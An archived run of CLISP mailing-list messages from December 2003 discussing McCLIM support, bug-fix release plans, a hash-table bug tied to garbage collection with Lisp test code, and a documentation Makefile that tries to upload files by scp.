sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 09:01:02 2003 X-Original-Date: Sat, 06 Dec 2003 12:00:32 -0500 > * Paolo Amoroso [2003-12-06 16:27:27 +0100]: > > So, CLISP might still be able to run McCLIM with "limited" effort. Any volunteers to make this "limited effort"? -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From sds@gnu.org Sat Dec 06 09:03:20 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASfpw-0002WT-2J for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:03:20 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASfpu-0003WY-Ua for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:03:19 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASfpt-000048-00; Sat, 06 Dec 2003 12:03:18 -0500 To: clisp-list@lists.sourceforge.net, Kaz Kylheku Cc: "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Sat, 6 Dec 2003 00:12:29 -0800 (PST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 09:04:01 2003 X-Original-Date: Sat, 06 Dec 2003 12:03:16 -0500 > * Kaz Kylheku [2003-12-06 00:12:29 -0800]: > > Maybe it would be a good idea to go through a pre-release stage. Another options is to make monthly bug-fix releases. This August John Hinsdale volunteered to maintain a bug-fix CVS branch, so maybe now is a good moment to take him up on his word :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Booze is the answer. I can't remember the question. From tfb@OCF.Berkeley.EDU Sat Dec 06 09:17:12 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASg3M-000312-CB for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:17:12 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASg3M-0007ZD-4x for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:17:12 -0800 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [192.58.221.246]) by war.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id hB6HH6D6011377; Sat, 6 Dec 2003 09:17:07 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id hB6HH6O11216; Sat, 6 Dec 2003 09:17:06 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16338.3858.359005.601256@famine.OCF.Berkeley.EDU> To: clisp-list@lists.sourceforge.net Cc: Paolo Amoroso Subject: [clisp-list] Re: survey: native compilation/lispworks In-Reply-To: References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> <87vfouhsps.fsf@plato.moon.paoloamoroso.it> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Milter: Spamilter X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 09:18:01 2003 X-Original-Date: Sat, 6 Dec 2003 09:17:06 -0800 Sam Steingold writes: > > * Paolo Amoroso [2003-12-06 16:27:27 +0100]: > > > > So, CLISP might still be able to run McCLIM with "limited" effort. > > Any volunteers to make this "limited effort"? I'm not volunteering (I'm overextended as it is), but FWIW, this would be the single most important thing to improve CLISP's usability for me. Not running McCLIM per se, but having some MOP support (which would also help provide example code for adding more MOP support). -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From don-sourceforge@isis.cs3-inc.com Sat Dec 06 12:04:23 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASif9-0000PV-36 for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 12:04:23 -0800 Received: from [66.166.0.98] (helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASif8-0001Vw-Hj for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 12:04:22 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id hB6K0ZT04364 for clisp-list@lists.sourceforge.net; Sat, 6 Dec 2003 12:00:35 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16338.13667.371113.313462@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] hashtable breakage Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 12:05:01 2003 X-Original-Date: Sat, 6 Dec 2003 12:00:35 -0800 I'm still trying to figure out how the test posted by Bruno works. Can someone explain? Below is a version that's improved for purposes of adding an entry to the test suite. See the comments therein. ;; no longer used (defun hash-table-keys (ht) (loop :for kk :being :each :hash-key :of ht :collect kk)) ;; no longer used - see next (defun check-hash-unique (ht) (let ((hash-ok t)) (do* ((keys (hash-table-keys ht) (cdr keys)) (key (car keys) (car keys)) (other-keys (cdr keys) (cdr keys))) ((null keys) hash-ok) (when (member key other-keys) (format t "ERROR! key ~s occurs multiple times!~%" key) (setf hash-ok nil))))) ;; if you really want to find the duplicate entries, this is much faster ;; if you just want to test it's not necessary (defun check-hash-unique2 (ht) (let ((h2 (make-hash-table :test 'equal))) (loop :for kk :being :each :hash-key :of ht do (if (gethash kk h2) (format t "ERROR! key ~s occurs multiple times!~%" kk) (setf (gethash kk h2) t))))) (defun do-hash-test (ht) (clrhash ht) (loop for countval upfrom 1 upto 15000 for key = (cons "HT" countval) ;; (format nil "HT-~D" countval) ;; same problem occurs with cons but a lot faster than format do ;;(gethash key ht) (setf (gethash key ht) t) (setf (gethash key ht) t) ;; was countval ;; The gethash seems unnecessary in the sense that the failure ;; occurs without it. Similarly, it occurs whether the two ;; assignments use the same value or not. ;; But two assignments are needed. ;; This part I don't understand. ;; Is the problem related to gc between the two? ;; I tried putting a gc between the two and the problem went away. ;; If there's no gc between the two then I'd expect the second ;; to be a noop. If the problem is a gc during one then why do ;; we need two? finally (format t "~A entries~%" (loop :for kk :being :each :hash-key :of ht :count t)) ;; as a test it suffices to count the entries (above) ;; (check-hash-unique2 ht) ;; only if you want to see the duplicates )) (loop :repeat 2 :do (loop :with ht = (make-hash-table :size 1000) ;; the size doesn't seem to matter ;; I get the bug with no size or 20000 or 100000 :for i :from 1 :to 10 :do (format t "~& --- ~d ---~%" i) (do-hash-test ht))) From sds@gnu.org Sat Dec 06 12:22:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASiwY-00019O-62 for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 12:22:22 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASiwX-0004hF-SQ for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 12:22:21 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASiwP-000553-00; Sat, 06 Dec 2003 15:22:13 -0500 To: clisp-list@lists.sourceforge.net, don-sourceforge@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16338.13667.371113.313462@isis.cs3-inc.com> (Don Cohen's message of "Sat, 6 Dec 2003 12:00:35 -0800") References: <16338.13667.371113.313462@isis.cs3-inc.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: hashtable breakage Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 12:23:01 2003 X-Original-Date: Sat, 06 Dec 2003 15:22:12 -0500 > * Don Cohen [2003-12-06 12:00:35 -0800]: > > I'm still trying to figure out how the test posted by Bruno works. Bruno? > (defun check-hash-unique2 (ht) > (let ((h2 (make-hash-table :test 'equal))) > (loop :for kk :being :each :hash-key :of ht do > (if (gethash kk h2) > (format t "ERROR! key ~s occurs multiple times!~%" kk) > (setf (gethash kk h2) t))))) you are using HT to check HT. no good. > ;; But two assignments are needed. > ;; This part I don't understand. > ;; Is the problem related to gc between the two? the problem was with hashcode caching. hashcode is (mod raw-hash-code ht-size). raw-hash-code depends only on the object, but for EQ&EQL HTs it can change after a GC. when we add an element to the HT, we may need to expand the HT, which may trigger GC. raw-hash-code calculation may be expensive, especially for user-defined hash-tables, so we should cache it while expanding HT. we cannot cache the EQ&EQL raw-hash-code (GC may change it). caching of the EQ&EQL raw-hash-code was the problem. see ChangeLog & hashtabl.d for details. -- Sam Steingold (http://www.podval.org/~sds) running w2k There's always free cheese in a mouse trap. From als@thangorodrim.de Sat Dec 06 13:15:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASjly-0002uC-SV for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 13:15:30 -0800 Received: from osgiliath.yauz.de ([217.17.192.93] ident=a9f7ebae7461093c0bded33048c31201) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASjly-0007NI-Es for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 13:15:30 -0800 Received: by osgiliath.yauz.de (Postfix, from userid 10) id C620D69F2; Sat, 6 Dec 2003 22:15:28 +0100 (CET) Received: from mordor.angband.thangorodrim.de (mordor.angband.thangorodrim.de [192.168.42.1]) by frodo.angband.thangorodrim.de (Postfix) with ESMTP id 0AC671C114 for ; Sat, 6 Dec 2003 22:12:49 +0100 (CET) Received: by mordor.angband.thangorodrim.de (Postfix, from userid 1069) id 27EEBA0E4; Sat, 6 Dec 2003 22:12:49 +0100 (CET) From: Alexander Schreiber To: clisp-list@lists.sourceforge.net Message-ID: <20031206211248.GA27442@mordor.angband.thangorodrim.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-URL: http://www.thangorodrim.de X-Public-Key-Fingerprint: AC78 B3A4 583B 3669 0D7A 154E CA70 DC98 C209 0A62 X-PGP-KeyId: C2090A62 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp doc make process tries to scp files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 13:16:01 2003 X-Original-Date: Sat, 6 Dec 2003 22:12:49 +0100 Hi! I was trying to build the documentation for CLisp, so I went to my CVS checked out copy of the source tree, went into the "doc" subdirectory and typed "make". After some work, the process fails with: <-- ---- cut here for new monitor ---- --> (test -n "cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots" && scp -p impnotes.html cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots && \ test -d "../build/" && cd ../build && make clisp.html && \ make clisp.1 && scp -p clisp.1 clisp.html cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots) || true ssh: connect to address 216.153.209.82 port 22: Connection timed out lost connection <-- ---- cut here for new monitor ---- --> Reading the Makefile, there are more places where scp is used to copy files to remote machines. Yes, I just ran "cvs up" again to ensure a sufficiently current tree. Why does the documentation make process try to upload files via scp to machines I - as far as I know - don't have the appropriate access to? All I asked it to do was to build the documentation in some nicely readable format, not try to upload it to any remote machine. If this is part of an automagic "update from CVS, then build and update snapshots" process, it shouldn't run when someone just wants to build documentation. Regards, Alex. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From sds@gnu.org Sat Dec 06 13:24:43 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASjut-0003Gn-DN for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 13:24:43 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASjut-0002L9-2O for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 13:24:43 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASjur-0006jr-00; Sat, 06 Dec 2003 16:24:42 -0500 To: clisp-list@lists.sourceforge.net, Alexander Schreiber Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031206211248.GA27442@mordor.angband.thangorodrim.de> (Alexander Schreiber's message of "Sat, 6 Dec 2003 22:12:49 +0100") References: <20031206211248.GA27442@mordor.angband.thangorodrim.de> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp doc make process tries to scp files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 13:25:04 2003 X-Original-Date: Sat, 06 Dec 2003 16:24:40 -0500 I thought I was the only one generating impnotes output files. just run "make DIST='' ..." -- Sam Steingold (http://www.podval.org/~sds) running w2k If you want it done right, you have to do it yourself From don-sourceforge@isis.cs3-inc.com Sat Dec 06 15:06:10 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASlV4-0007Fq-K2 for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 15:06:10 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASlV4-0007KR-9g for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 15:06:10 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id hB6N2L605389 for clisp-list@lists.sourceforge.net; Sat, 6 Dec 2003 15:02:21 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16338.24573.583083.909277@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <16338.13667.371113.313462@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: hashtable breakage Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 15:07:01 2003 X-Original-Date: Sat, 6 Dec 2003 15:02:21 -0800 Sam Steingold writes: > > * Don Cohen [2003-12-06 12:00:35 -0800]: > > > > I'm still trying to figure out how the test posted by Bruno works. > Bruno? > > > (defun check-hash-unique2 (ht) > > (let ((h2 (make-hash-table :test 'equal))) > > (loop :for kk :being :each :hash-key :of ht do > > (if (gethash kk h2) > > (format t "ERROR! key ~s occurs multiple times!~%" kk) > > (setf (gethash kk h2) t))))) > > you are using HT to check HT. no good. Only to iterate over it, just as the original did. Try it. > > ;; But two assignments are needed. > > ;; This part I don't understand. > > ;; Is the problem related to gc between the two? > > the problem was with hashcode caching. > hashcode is (mod raw-hash-code ht-size). > raw-hash-code depends only on the object, but for EQ&EQL HTs it can > change after a GC. But that doesn't explain why you need two assignments. > when we add an element to the HT, we may need to expand the HT, which > may trigger GC. Expanding HT was not the problem, since the same problem occurs even with a very large initial size. > raw-hash-code calculation may be expensive, especially for user-defined > hash-tables, so we should cache it while expanding HT. That I understood. So where do you cache it? If you can save such data on an arbitrary object, why not go ahead and define that as the raw hash code. Then you'll never have to rehash! So this means that every EQ/EQL hashtable has to be totally rehashed whenever it's accessed and GC has occurred since the last access? That would seem very bad. Or perhaps only if the key is of one of the types that move? That doesn't seem like a big improvement. Or maybe you can tell the last time a given object moved and compare that to the last time the table was rehashed? > we cannot cache the EQ&EQL raw-hash-code (GC may change it). > caching of the EQ&EQL raw-hash-code was the problem. > see ChangeLog & hashtabl.d for details. I did see that much, but as you can tell, there are lots of questions remaining. From sds@gnu.org Sat Dec 06 21:20:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASrLH-0006Q2-GF for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 21:20:27 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASrLH-0003J7-6o for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 21:20:27 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASrLG-0007T0-00; Sun, 07 Dec 2003 00:20:26 -0500 To: clisp-list@lists.sourceforge.net, don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16338.24573.583083.909277@isis.cs3-inc.com> (Don Cohen's message of "Sat, 6 Dec 2003 15:02:21 -0800") References: <16338.13667.371113.313462@isis.cs3-inc.com> <16338.24573.583083.909277@isis.cs3-inc.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: hashtable breakage Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 21:21:00 2003 X-Original-Date: Sun, 07 Dec 2003 00:20:25 -0500 > * Don Cohen [2003-12-06 15:02:21 -0800]: > > > you are using HT to check HT. no good. > Only to iterate over it, just as the original did. so? you just don't use check something with itself (even if it sometimes catches an error). > > the problem was with hashcode caching. > > hashcode is (mod raw-hash-code ht-size). > > raw-hash-code depends only on the object, but for EQ&EQL HTs it can > > change after a GC. > But that doesn't explain why you need two assignments. you probably don't. you just discover that the thing you put into the HT is not there. > > when we add an element to the HT, we may need to expand the HT, which > > may trigger GC. > Expanding HT was not the problem, since the same problem occurs even > with a very large initial size. see rehash() in hashtabl.d > > raw-hash-code calculation may be expensive, especially for user-defined > > hash-tables, so we should cache it while expanding HT. > That I understood. So where do you cache it? hash_prepare_store() in hashtabl.d > So this means that every EQ/EQL hashtable has to be totally rehashed > whenever it's accessed and GC has occurred since the last access? of course. I hope Bruno will chime in here. The issues seems to be - how to make the test I added faster (it is now one of the slowest tests in the testsuite) - general CLISP hash table implementation issues. -- Sam Steingold (http://www.podval.org/~sds) running w2k XFM: Exit file manager? [Continue] [Cancel] [Abort] From don-sourceforge@isis.cs3-inc.com Sat Dec 06 23:16:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASt9T-0001AD-Ek for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 23:16:23 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASt9T-0001fJ-4I for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 23:16:23 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id hB77CLa08462; Sat, 6 Dec 2003 23:12:21 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16338.53973.230661.374837@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible In-Reply-To: References: <16338.13667.371113.313462@isis.cs3-inc.com> <16338.24573.583083.909277@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: hashtable breakage Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 23:17:01 2003 X-Original-Date: Sat, 6 Dec 2003 23:12:21 -0800 Sam Steingold writes: > > * Don Cohen [2003-12-06 15:02:21 -0800]: > > > > > you are using HT to check HT. no good. > > Only to iterate over it, just as the original did. > > so? you just don't use check something with itself (even if it > sometimes catches an error). Try check-hash-unique and check-hash-unique2 and you'll see they report the same things. They both use the original ht in the same way, but the second one is much more efficient, linear instead of quadratic. > > > the problem was with hashcode caching. > > > hashcode is (mod raw-hash-code ht-size). > > > raw-hash-code depends only on the object, but for EQ&EQL HTs it can > > > change after a GC. > > But that doesn't explain why you need two assignments. > > you probably don't. This is not true. As my comments report, if you remove one assignment there is no failure. > you just discover that the thing you put into the HT is not there. > > > > when we add an element to the HT, we may need to expand the HT, which > > > may trigger GC. > > Expanding HT was not the problem, since the same problem occurs even > > with a very large initial size. > > see rehash() in hashtabl.d Is this supposed to convince me that the bug is related to growing the hashtable? I admit I was hoping to understand this issue without understanding (or even reading) all the code. > > > raw-hash-code calculation may be expensive, especially for user-defined > > > hash-tables, so we should cache it while expanding HT. hmm, is there any guarantee that user defined hash functions remain the same across GC ? That doesn't appear in the spec in impnotes. Also I'd have expected that hash functions should return integers. > > That I understood. So where do you cache it? > > hash_prepare_store() in hashtabl.d I think you're telling me where in the code the caching is done. I meant where is the data stored. In the hash table? In the object? In a temporary table? > > So this means that every EQ/EQL hashtable has to be totally rehashed > > whenever it's accessed and GC has occurred since the last access? > > of course. If you can associate a hash code with arbitrary objects (or even only those that can move and have this affect their raw hash code), then by leaving that data alone you could avoid all rehashing. > I hope Bruno will chime in here. > The issues seems to be > - how to make the test I added faster (it is now one of the slowest > tests in the testsuite) If you mean the code I just sent you, it's a whole lot faster than the original. > - general CLISP hash table implementation issues. I want to understand both this and the test that demonstrates the failure recently fixed. From amoroso@mclink.it Sun Dec 07 01:50:25 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASvYW-0005fc-V9 for clisp-list@lists.sourceforge.net; Sun, 07 Dec 2003 01:50:24 -0800 Received: from mail2.mclink.it ([195.110.128.53]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASvYW-0006nB-CU for clisp-list@lists.sourceforge.net; Sun, 07 Dec 2003 01:50:24 -0800 Received: from net145-010.mclink.it (net145-010.mclink.it [195.110.145.10]) by mail2.mclink.it (8.12.6p2/8.12.3) with ESMTP id hB79oKYa060175 for ; Sun, 7 Dec 2003 10:50:22 +0100 (CET) (envelope-from amoroso@mclink.it) 